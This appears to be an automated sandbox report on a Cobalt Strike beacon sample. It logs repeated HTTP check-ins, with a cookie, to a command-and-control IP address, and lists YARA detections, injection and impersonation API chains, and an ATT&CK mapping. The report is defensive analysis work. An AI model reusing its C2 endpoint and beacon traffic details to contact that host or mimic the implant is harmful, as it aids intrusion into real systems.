Source: global traffic	HTTP traffic detected: GET /api/v1/get HTTP/1.1Content-Type: text/plainAccept: /Accept-Language: zh-CN,zh;q=0.9,en;q=0.8Accept-Encoding: gzip, deflatePriority: u=1, iCookie: _UK=gd3f9vAfNwTV60ENNBgjYsnEyQYTGVo96xMpZjhBpFuR7qjrTTQ9Y0QV3LkxS8ljwTHIU/cP4Ie0XKdPlpL3SPxZHyYZ7RFdNtIimS7gRzpKO+wsEVbyMbrod2jQyDlHWnoyNYamQ9g1MxzWesxfQZcX689JHO4ne6CdN2exZdU=User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36Host: 8.148.6.140Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /api/v1/get HTTP/1.1Content-Type: text/plainAccept: /Accept-Language: zh-CN,zh;q=0.9,en;q=0.8Accept-Encoding: gzip, deflatePriority: u=1, iCookie: _UK=gd3f9vAfNwTV60ENNBgjYsnEyQYTGVo96xMpZjhBpFuR7qjrTTQ9Y0QV3LkxS8ljwTHIU/cP4Ie0XKdPlpL3SPxZHyYZ7RFdNtIimS7gRzpKO+wsEVbyMbrod2jQyDlHWnoyNYamQ9g1MxzWesxfQZcX689JHO4ne6CdN2exZdU=User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36Host: 8.148.6.140Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /api/v1/get HTTP/1.1Content-Type: text/plainAccept: /Accept-Language: zh-CN,zh;q=0.9,en;q=0.8Accept-Encoding: gzip, deflatePriority: u=1, iCookie: _UK=gd3f9vAfNwTV60ENNBgjYsnEyQYTGVo96xMpZjhBpFuR7qjrTTQ9Y0QV3LkxS8ljwTHIU/cP4Ie0XKdPlpL3SPxZHyYZ7RFdNtIimS7gRzpKO+wsEVbyMbrod2jQyDlHWnoyNYamQ9g1MxzWesxfQZcX689JHO4ne6CdN2exZdU=User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36Host: 8.148.6.140Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /api/v1/get HTTP/1.1Content-Type: text/plainAccept: /Accept-Language: zh-CN,zh;q=0.9,en;q=0.8Accept-Encoding: gzip, deflatePriority: u=1, iCookie: _UK=gd3f9vAfNwTV60ENNBgjYsnEyQYTGVo96xMpZjhBpFuR7qjrTTQ9Y0QV3LkxS8ljwTHIU/cP4Ie0XKdPlpL3SPxZHyYZ7RFdNtIimS7gRzpKO+wsEVbyMbrod2jQyDlHWnoyNYamQ9g1MxzWesxfQZcX689JHO4ne6CdN2exZdU=User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36Host: 8.148.6.140Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /api/v1/get HTTP/1.1Content-Type: text/plainAccept: /Accept-Language: zh-CN,zh;q=0.9,en;q=0.8Accept-Encoding: gzip, deflatePriority: u=1, iCookie: _UK=gd3f9vAfNwTV60ENNBgjYsnEyQYTGVo96xMpZjhBpFuR7qjrTTQ9Y0QV3LkxS8ljwTHIU/cP4Ie0XKdPlpL3SPxZHyYZ7RFdNtIimS7gRzpKO+wsEVbyMbrod2jQyDlHWnoyNYamQ9g1MxzWesxfQZcX689JHO4ne6CdN2exZdU=User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36Host: 8.148.6.140Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /api/v1/get HTTP/1.1Content-Type: text/plainAccept: /Accept-Language: zh-CN,zh;q=0.9,en;q=0.8Accept-Encoding: gzip, deflatePriority: u=1, iCookie: _UK=gd3f9vAfNwTV60ENNBgjYsnEyQYTGVo96xMpZjhBpFuR7qjrTTQ9Y0QV3LkxS8ljwTHIU/cP4Ie0XKdPlpL3SPxZHyYZ7RFdNtIimS7gRzpKO+wsEVbyMbrod2jQyDlHWnoyNYamQ9g1MxzWesxfQZcX689JHO4ne6CdN2exZdU=User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36Host: 8.148.6.140Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /api/v1/get HTTP/1.1Content-Type: text/plainAccept: /Accept-Language: zh-CN,zh;q=0.9,en;q=0.8Accept-Encoding: gzip, deflatePriority: u=1, iCookie: _UK=gd3f9vAfNwTV60ENNBgjYsnEyQYTGVo96xMpZjhBpFuR7qjrTTQ9Y0QV3LkxS8ljwTHIU/cP4Ie0XKdPlpL3SPxZHyYZ7RFdNtIimS7gRzpKO+wsEVbyMbrod2jQyDlHWnoyNYamQ9g1MxzWesxfQZcX689JHO4ne6CdN2exZdU=User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36Host: 8.148.6.140Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /api/v1/get HTTP/1.1Content-Type: text/plainAccept: /Accept-Language: zh-CN,zh;q=0.9,en;q=0.8Accept-Encoding: gzip, deflatePriority: u=1, iCookie: _UK=gd3f9vAfNwTV60ENNBgjYsnEyQYTGVo96xMpZjhBpFuR7qjrTTQ9Y0QV3LkxS8ljwTHIU/cP4Ie0XKdPlpL3SPxZHyYZ7RFdNtIimS7gRzpKO+wsEVbyMbrod2jQyDlHWnoyNYamQ9g1MxzWesxfQZcX689JHO4ne6CdN2exZdU=User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36Host: 8.148.6.140Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /api/v1/get HTTP/1.1Content-Type: text/plainAccept: /Accept-Language: zh-CN,zh;q=0.9,en;q=0.8Accept-Encoding: gzip, deflatePriority: u=1, iCookie: _UK=gd3f9vAfNwTV60ENNBgjYsnEyQYTGVo96xMpZjhBpFuR7qjrTTQ9Y0QV3LkxS8ljwTHIU/cP4Ie0XKdPlpL3SPxZHyYZ7RFdNtIimS7gRzpKO+wsEVbyMbrod2jQyDlHWnoyNYamQ9g1MxzWesxfQZcX689JHO4ne6CdN2exZdU=User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36Host: 8.148.6.140Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /api/v1/get HTTP/1.1Content-Type: text/plainAccept: /Accept-Language: zh-CN,zh;q=0.9,en;q=0.8Accept-Encoding: gzip, deflatePriority: u=1, iCookie: _UK=gd3f9vAfNwTV60ENNBgjYsnEyQYTGVo96xMpZjhBpFuR7qjrTTQ9Y0QV3LkxS8ljwTHIU/cP4Ie0XKdPlpL3SPxZHyYZ7RFdNtIimS7gRzpKO+wsEVbyMbrod2jQyDlHWnoyNYamQ9g1MxzWesxfQZcX689JHO4ne6CdN2exZdU=User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36Host: 8.148.6.140Connection: Keep-AliveCache-Control: no-cache

Source: beacon_x86.exe, 00000000.00000002.3890371046.0000000000753000.00000004.00000020.00020000.00000000.sdmp, beacon_x86.exe, 00000000.00000002.3890371046.000000000070E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://8.148.6.140/api/v1/get
Source: beacon_x86.exe, 00000000.00000002.3890371046.0000000000753000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://8.148.6.140/api/v1/get.
Source: beacon_x86.exe, 00000000.00000002.3890371046.0000000000753000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://8.148.6.140/api/v1/get1
Source: beacon_x86.exe, 00000000.00000002.3890371046.0000000000753000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://8.148.6.140/api/v1/get2
Source: beacon_x86.exe, 00000000.00000002.3890371046.0000000000753000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://8.148.6.140/api/v1/get4
Source: beacon_x86.exe, 00000000.00000002.3890371046.0000000000753000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://8.148.6.140/api/v1/getBase
Source: beacon_x86.exe, 00000000.00000002.3890371046.0000000000753000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://8.148.6.140/api/v1/getF
Source: beacon_x86.exe, 00000000.00000002.3890371046.0000000000753000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://8.148.6.140/api/v1/getK
Source: beacon_x86.exe, 00000000.00000002.3890371046.0000000000753000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://8.148.6.140/api/v1/getL
Source: beacon_x86.exe, 00000000.00000002.3890371046.0000000000753000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://8.148.6.140/api/v1/getP
Source: beacon_x86.exe, 00000000.00000002.3890371046.0000000000753000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://8.148.6.140/api/v1/getoft
Source: beacon_x86.exe, 00000000.00000002.3890371046.0000000000753000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://8.148.6.140/api/v1/getwshqos.dll.mui
Source: beacon_x86.exe, 00000000.00000002.3890371046.0000000000753000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://8.148.6.140/api/v1/gety

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.3890591328.0000000000D97000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the API address lookup function leverage by metasploit shellcode Author: unknown
Source: 00000000.00000002.3890591328.0000000000D97000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families. Author: unknown
Source: 00000000.00000003.2049538044.0000000000D20000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Rule for beacon reflective loader Author: unknown
Source: 00000000.00000003.2049538044.0000000000D20000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the API address lookup function leverage by metasploit shellcode Author: unknown
Source: 00000000.00000003.2049538044.0000000000D20000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families. Author: unknown
Source: 00000000.00000003.2049538044.0000000000D20000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 Author: unknown

Source: C:\Users\user\Desktop\beacon_x86.exe	Code function: 0_2_00D6C3DF GetCurrentProcess,NtProtectVirtualMemory,VirtualProtect,VirtualProtectEx,	0_2_00D6C3DF
Source: C:\Users\user\Desktop\beacon_x86.exe	Code function: 0_2_00D6C320 GetCurrentProcess,NtAllocateVirtualMemory,VirtualAlloc,VirtualAllocEx,	0_2_00D6C320
Source: C:\Users\user\Desktop\beacon_x86.exe	Code function: 0_2_00D6C669 GetCurrentProcess,NtCreateThreadEx,CreateThread,CreateRemoteThread,	0_2_00D6C669

Source: C:\Users\user\Desktop\beacon_x86.exe

Code function: 0_2_00D63A7E CreateProcessAsUserA,CreateProcessA,GetLastError,

0_2_00D63A7E

Source: C:\Users\user\Desktop\beacon_x86.exe	Code function: 0_2_00D840D1	0_2_00D840D1
Source: C:\Users\user\Desktop\beacon_x86.exe	Code function: 0_2_00D848FD	0_2_00D848FD
Source: C:\Users\user\Desktop\beacon_x86.exe	Code function: 0_2_00D83828	0_2_00D83828
Source: C:\Users\user\Desktop\beacon_x86.exe	Code function: 0_2_00D749E9	0_2_00D749E9
Source: C:\Users\user\Desktop\beacon_x86.exe	Code function: 0_2_00D87190	0_2_00D87190
Source: C:\Users\user\Desktop\beacon_x86.exe	Code function: 0_2_00D86945	0_2_00D86945
Source: C:\Users\user\Desktop\beacon_x86.exe	Code function: 0_2_00D86BC0	0_2_00D86BC0
Source: C:\Users\user\Desktop\beacon_x86.exe	Code function: 0_2_00D86320	0_2_00D86320
Source: C:\Users\user\Desktop\beacon_x86.exe	Code function: 0_2_00D844DD	0_2_00D844DD
Source: C:\Users\user\Desktop\beacon_x86.exe	Code function: 0_2_00D83CFD	0_2_00D83CFD
Source: C:\Users\user\Desktop\beacon_x86.exe	Code function: 0_2_00D79DDB	0_2_00D79DDB
Source: C:\Users\user\Desktop\beacon_x86.exe	Code function: 0_2_03E00000	0_2_03E00000

Source: C:\Users\user\Desktop\beacon_x86.exe

Code function: String function: 00D7A3A4 appears 39 times

Source: beacon_x86.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED

Source: 00000000.00000002.3890591328.0000000000D97000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_7bc0f998 os = windows, severity = x86, description = Identifies the API address lookup function leverage by metasploit shellcode, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = fdb5c665503f07b2fc1ed7e4e688295e1222a500bfb68418661db60c8e75e835, id = 7bc0f998-7014-4883-8a56-d5ee00c15aed, last_modified = 2021-08-23
Source: 00000000.00000002.3890591328.0000000000D97000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_c9773203 os = windows, severity = x86, description = Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., creation_date = 2021-04-07, scan_context = file, memory, reference = https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x64/src/block/block_api.asm, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = afde93eeb14b4d0c182f475a22430f101394938868741ffa06445e478b6ece36, id = c9773203-6d1e-4246-a1e0-314217e0207a, last_modified = 2021-08-23
Source: 00000000.00000003.2049538044.0000000000D20000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
Source: 00000000.00000003.2049538044.0000000000D20000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_7bc0f998 os = windows, severity = x86, description = Identifies the API address lookup function leverage by metasploit shellcode, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = fdb5c665503f07b2fc1ed7e4e688295e1222a500bfb68418661db60c8e75e835, id = 7bc0f998-7014-4883-8a56-d5ee00c15aed, last_modified = 2021-08-23
Source: 00000000.00000003.2049538044.0000000000D20000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_c9773203 os = windows, severity = x86, description = Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., creation_date = 2021-04-07, scan_context = file, memory, reference = https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x64/src/block/block_api.asm, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = afde93eeb14b4d0c182f475a22430f101394938868741ffa06445e478b6ece36, id = c9773203-6d1e-4246-a1e0-314217e0207a, last_modified = 2021-08-23
Source: 00000000.00000003.2049538044.0000000000D20000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 date_created = 2020-12-02, rev = FireEye, date_modified = 2020-12-02, md5 = f41074be5b423afb02a74bc74222e35d

Source: classification engine

Classification label: mal92.troj.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\beacon_x86.exe

Code function: 0_2_00D631CB LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,

0_2_00D631CB

Source: C:\Users\user\Desktop\beacon_x86.exe

Code function: 0_2_00D694E3 _memset,GetCurrentProcess,CreateToolhelp32Snapshot,Process32First,ProcessIdToSessionId,Process32Next,

0_2_00D694E3

Source: beacon_x86.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\beacon_x86.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: beacon_x86.exe	Virustotal: Detection: 79%
Source: beacon_x86.exe	ReversingLabs: Detection: 94%

Source: C:\Users\user\Desktop\beacon_x86.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\beacon_x86.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\beacon_x86.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\beacon_x86.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\beacon_x86.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\beacon_x86.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\beacon_x86.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\beacon_x86.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\beacon_x86.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\beacon_x86.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\beacon_x86.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\beacon_x86.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\beacon_x86.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\beacon_x86.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\beacon_x86.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\beacon_x86.exe	Section loaded: winnsi.dll	Jump to behavior

Source: C:\Users\user\Desktop\beacon_x86.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\beacon_x86.exe

Code function: 0_2_00D611D8 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00D611D8

Source: C:\Users\user\Desktop\beacon_x86.exe	Code function: 0_3_00D212D8 push esp; retf	0_3_00D212F1
Source: C:\Users\user\Desktop\beacon_x86.exe	Code function: 0_3_00D214CD push esp; ret	0_3_00D214D5
Source: C:\Users\user\Desktop\beacon_x86.exe	Code function: 0_3_00D239F6 push esp; retf	0_3_00D239FD
Source: C:\Users\user\Desktop\beacon_x86.exe	Code function: 0_3_00D20366 push cs; ret	0_3_00D20372
Source: C:\Users\user\Desktop\beacon_x86.exe	Code function: 0_3_00D2423F push esi; ret	0_3_00D24248
Source: C:\Users\user\Desktop\beacon_x86.exe	Code function: 0_2_00D76ABC push edi; ret	0_2_00D76ABD
Source: C:\Users\user\Desktop\beacon_x86.exe	Code function: 0_2_00D7A3E9 push ecx; ret	0_2_00D7A3FC
Source: C:\Users\user\Desktop\beacon_x86.exe	Code function: 0_2_00D775D0 push eax; ret	0_2_00D775D7

Source: C:\Users\user\Desktop\beacon_x86.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_0-21391

Source: C:\Users\user\Desktop\beacon_x86.exe	Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes			graph_0-21163
Source: C:\Users\user\Desktop\beacon_x86.exe	Evasive API call chain: GetLocalTime,DecisionNodes			graph_0-20848

Source: C:\Users\user\Desktop\beacon_x86.exe

API coverage: 8.7 %

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\beacon_x86.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\beacon_x86.exe	Code function: 0_2_00D64225 _malloc,_memset,_strncmp,GetCurrentDirectoryA,FindFirstFileA,GetLastError,FileTimeToSystemTime,SystemTimeToTzSpecificLocalTime,FindNextFileA,FindClose,		0_2_00D64225
Source: C:\Users\user\Desktop\beacon_x86.exe	Code function: 0_2_00D6970E _malloc,__snprintf,FindFirstFileA,_malloc,__snprintf,FindNextFileA,FindClose,		0_2_00D6970E

Source: beacon_x86.exe, 00000000.00000002.3890371046.0000000000753000.00000004.00000020.00020000.00000000.sdmp, beacon_x86.exe, 00000000.00000002.3890371046.000000000070E000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\beacon_x86.exe

API call chain: ExitProcess graph end node

graph_0-21023

Source: C:\Users\user\Desktop\beacon_x86.exe

Code function: 0_2_00D7768B LdrInitializeThunk,

0_2_00D7768B

Source: C:\Users\user\Desktop\beacon_x86.exe

Code function: 0_2_00D88375 IsDebuggerPresent,_RTC_GetSrcLine,DebugBreak,

0_2_00D88375

Source: C:\Users\user\Desktop\beacon_x86.exe

Code function: 0_2_00D611D8 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00D611D8

Source: C:\Users\user\Desktop\beacon_x86.exe	Code function: 0_3_00D29FDE mov eax, dword ptr fs:[00000030h]		0_3_00D29FDE
Source: C:\Users\user\Desktop\beacon_x86.exe	Code function: 0_3_00D2ACAE mov eax, dword ptr fs:[00000030h]		0_3_00D2ACAE

Source: C:\Users\user\Desktop\beacon_x86.exe

Code function: 0_2_00D681C2 DeleteProcThreadAttributeList,GetProcessHeap,HeapFree,

0_2_00D681C2

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\beacon_x86.exe	Code function: 0_2_0040116C Sleep,Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,_amsg_exit,_initterm,GetStartupInfoA,_cexit,_initterm,exit,	0_2_0040116C
Source: C:\Users\user\Desktop\beacon_x86.exe	Code function: 0_2_00401A5C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,abort,	0_2_00401A5C
Source: C:\Users\user\Desktop\beacon_x86.exe	Code function: 0_2_00401A60 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,abort,	0_2_00401A60
Source: C:\Users\user\Desktop\beacon_x86.exe	Code function: 0_2_00401160 Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,	0_2_00401160
Source: C:\Users\user\Desktop\beacon_x86.exe	Code function: 0_2_004013C1 SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,_amsg_exit,_initterm,	0_2_004013C1
Source: C:\Users\user\Desktop\beacon_x86.exe	Code function: 0_2_004011A3 Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,	0_2_004011A3
Source: C:\Users\user\Desktop\beacon_x86.exe	Code function: 0_2_00D81950 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00D81950
Source: C:\Users\user\Desktop\beacon_x86.exe	Code function: 0_2_00D7F331 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00D7F331
Source: C:\Users\user\Desktop\beacon_x86.exe	Code function: 0_2_00D7B4B2 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00D7B4B2

Source: C:\Users\user\Desktop\beacon_x86.exe

Code function: 0_2_00D6D272 LogonUserA,GetLastError,ImpersonateLoggedOnUser,GetLastError,

0_2_00D6D272

Source: C:\Users\user\Desktop\beacon_x86.exe

Code function: 0_2_00D6D442 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

0_2_00D6D442

Source: C:\Users\user\Desktop\beacon_x86.exe

Code function: GetLocaleInfoA,

0_2_00D84EF0

Source: C:\Users\user\Desktop\beacon_x86.exe

Code function: 0_2_0040161C CreateNamedPipeA,ConnectNamedPipe,WriteFile,CloseHandle,

0_2_0040161C

Source: C:\Users\user\Desktop\beacon_x86.exe

Code function: 0_2_004019A0 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_004019A0

Source: C:\Users\user\Desktop\beacon_x86.exe

Code function: 0_2_00D66F09 GetUserNameA,GetComputerNameA,GetModuleFileNameA,_strrchr,GetVersionExA,__snprintf,

0_2_00D66F09

Source: C:\Users\user\Desktop\beacon_x86.exe

Code function: 0_2_00D66F09 GetUserNameA,GetComputerNameA,GetModuleFileNameA,_strrchr,GetVersionExA,__snprintf,

0_2_00D66F09

Source: C:\Users\user\Desktop\beacon_x86.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Remote Access Functionality

Yara detected CobaltStrike

Source: Yara match	File source: beacon_x86.exe, type: SAMPLE
Source: Yara match	File source: 0.2.beacon_x86.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.beacon_x86.exe.400000.0.unpack, type: UNPACKEDPE

Source: C:\Users\user\Desktop\beacon_x86.exe	Code function: 0_2_00D675B7 socket,htons,ioctlsocket,closesocket,bind,listen,	0_2_00D675B7
Source: C:\Users\user\Desktop\beacon_x86.exe	Code function: 0_2_00D6DDB3 socket,closesocket,htons,bind,listen,	0_2_00D6DDB3
Source: C:\Users\user\Desktop\beacon_x86.exe	Code function: 0_2_00D67699 htonl,htons,socket,closesocket,bind,ioctlsocket,	0_2_00D67699

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	2 Native API	2 Valid Accounts	2 Valid Accounts	2 Valid Accounts	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	21 Access Token Manipulation	21 Access Token Manipulation	LSASS Memory	21 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Process Injection	1 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	NTDS	1 Account Discovery	Distributed Component Object Model	Input Capture	111 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 System Owner/User Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	14 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

